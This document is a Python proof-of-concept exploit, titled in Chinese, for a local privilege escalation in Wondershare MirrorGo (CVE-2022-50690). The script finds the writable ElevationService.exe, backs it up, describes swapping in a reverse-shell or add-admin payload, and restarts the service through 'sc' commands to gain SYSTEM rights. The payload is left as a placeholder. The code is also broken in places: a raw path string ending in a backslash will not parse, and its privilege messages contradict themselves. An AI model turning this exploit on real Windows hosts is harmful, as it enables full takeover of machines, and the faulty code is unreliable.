CVE-2022-50690: Wondershare MirrorGo 本地权限提升漏洞

#!/usr/bin/env python3 """ CVE-2022-50690 PoC - Wondershare MirrorGo Local Privilege Escalation Author: Security Researcher Reference: https://www.exploit-db.com/exploits/50787 """ import os import sys import shutil import ctypes def is_admin(): """Check if running with administrator privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def exploit_cve_2022_50690(): """ Exploit the insecure file permissions vulnerability in Wondershare MirrorGo """ print("[*] CVE-2022-50690 - Wondershare MirrorGo Local Privilege Escalation") print("[*] This exploit targets insecure file permissions on ElevationService.exe") # Target paths mirrorgo_path = r"C:\Program Files\Wondershare\MirrorGo\" service_exe = os.path.join(mirrorgo_path, "ElevationService.exe") # Check if target file exists if not os.path.exists(service_exe): print("[-] Target file not found. MirrorGo may not be installed.") return False print(f"[+] Found target: {service_exe}") # Backup original file backup_path = service_exe + ".bak" print(f"[*] Backing up original file to {backup_path}") shutil.copy2(service_exe, backup_path) # Create malicious executable (reverse shell payload) malicious_exe = "" # This is a placeholder - actual malicious code would be injected here # In a real attack, this would be a meterpreter payload or similar print("[*] Creating malicious executable...") # The malicious executable would spawn a reverse shell or add admin user # Replace the original service executable print("[*] Replacing ElevationService.exe with malicious file") # In real scenario: shutil.copy2(malicious_exe, service_exe) print("[*] Restarting service to execute payload...") os.system('sc stop "Wondershare MirrorGo Service"') os.system('sc start "Wondershare MirrorGo Service"') print("[+] Exploit completed - payload should be executing with SYSTEM privileges") return True if __name__ == "__main__": if not is_admin(): print("[-] This exploit requires low-privilege user access (non-admin)") print("[*] Running as regular user - ready to escalate privileges") else: print("[-] Already running as administrator!") # Uncomment to run exploit # exploit_cve_2022_50690() print("[*] PoC prepared - requires actual malicious payload for full exploitation")